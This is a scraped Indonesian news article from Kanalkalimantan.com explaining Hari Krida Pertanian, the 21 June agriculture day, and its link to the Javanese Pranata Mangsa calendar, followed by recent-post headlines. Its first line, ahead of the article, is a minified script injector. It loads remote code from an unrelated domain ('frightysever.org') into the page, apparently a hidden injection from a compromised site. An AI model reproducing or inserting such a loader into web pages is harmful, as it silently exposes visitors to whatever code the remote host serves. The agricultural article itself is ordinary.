(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Infografis Kanalkalimantan

21 Juni Hari Krida Pertanian, Ini Sejarah dan Maknanya


KANALKALIMANTAN.COM – Hari Krida Pertanian diperingati setiap tanggal 21 Juni, ditujukan sebagai upaya dalam menghargai kontribusi para petani. Selain itu, juga merupakan ungkapan rasa syukur masyarakat atas jasa-jasa para petani.

Krida berarti tindakan atau perbuatan. Peringatan Hari Krida Pertanian adalah kesempatan untuk mengenang dan menghargai para petani, peternak, pegawai, dan pengusaha di sektor pertanian.

Hari Krida Pertanian yang dirayakan setiap 21 Juni merupakan hari untuk memberikan penghargaan kepada mereka yang bekerja di bidang pertanian. Pada dasarnya, Hari Krida Pertanian adalah hari untuk bersyukur, berbangga hati, sekaligus hari mawas diri serta melaksanakan dharma bhakti.

Insan pertanian mengucapkan syukur kepada Tuhan Yang Maha Esa atas rahmat dan nikmat berupa kekayaan alam yang melimpah, yang dimanfaatkan untuk kesejahteraan manusia.
Hari Krida Pertanian juga menjadi doa dan harapan agar di tahun-tahun mendatang mereka dapat menerima rahmat yang lebih besar dari pemanfaatan kekayaan alam dengan tanggung jawab untuk tetap melestarikannya.

Sejarah Hari Krida Pertanian

Berdasarkan laman Balai Penelitian Tanaman Jeruk dan Buah Subtropika Kementerian Pertanian, Hari Krida Pertanian pertama kali diperingati pada tahun 1972. Tanggal 21 Juni dipilih karena alasan astronomis dan pembagian musim yang dikenal sebagai Pranata Mangsa.

Pranata Mangsa adalah sistem penanggalan yang digunakan dalam aktivitas pertanian dan peternakan seperti bercocok tanam dan penangkapan ikan. Kalender ini didasarkan pada peredaran matahari dengan satu siklus tahunan yang memiliki periode 365 atau 366 hari. Sistem ini banyak digunakan oleh para petani di Jawa.

Kalender Pranata Mangsa membagi tahun menjadi beberapa bulan yang berbeda, masing-masing menjelaskan kondisi alam yang dapat mempengaruhi kegiatan pertanian, seperti musim penyakit, hujan, angin, dan serangga.

Berbeda dengan kalender Masehi yang dimulai pada 1 Januari dan berakhir pada 31 Desember, kalender Pranata Mangsa dimulai pada 22 Juni dan berakhir pada 21 Juni. Tanggal 21 Juni ditetapkan sebagai Hari Krida Pertanian karena menandai akhir dari satu siklus tahunan kalender Pranata Mangsa, atau satu tahun pertanian.

Bulan Juni menjadi sangat penting bagi petani karena pada bulan ini mereka melakukan panen berbagai komoditas seperti kopi, cengkeh, lada, dan padi. (Kanalkalimantan.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.